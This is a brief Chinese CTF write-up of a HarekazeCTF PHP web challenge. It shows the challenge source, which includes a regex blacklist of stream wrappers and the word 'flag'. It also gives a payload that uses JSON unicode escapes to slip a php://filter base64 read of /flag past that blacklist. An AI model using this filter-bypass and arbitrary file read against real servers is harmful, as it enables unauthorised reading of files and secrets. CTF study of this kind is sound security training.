乱点发现代码
<?php error_reporting(0);
if (isset($_GET['source'])) { show_source(__FILE__); exit(); }
function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
$body = file_get_contents('php://input'); $json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; }
// no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
|
一开始看到get传参的source就往后看了,越看越不对劲
回头看有一个exit,所以大概率的话,是传进去之后就直接删除了source参数
然后再后面有一个php://input的一个伪协议输入,所以,可以发现之后会对传进去的东西进行json解码
之后再第一个if里面发现了page
说明我们需要传一个page进去,以json的形式
之后就是关于is_valid的一个绕过
相当于是一个黑名单
php等常见的伪协议被ban
flag也被ban
所以我们可以很快知道,这些需要通过json编码去进行绕过
所以payload:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
|
原版就是
php://filter/convert.base64-encode/resource=/flag
|
对被过滤的东西进行json编码,之后以json形式重新编写
起飞
一定是抓包之后再将payload写上去,因为会被url编码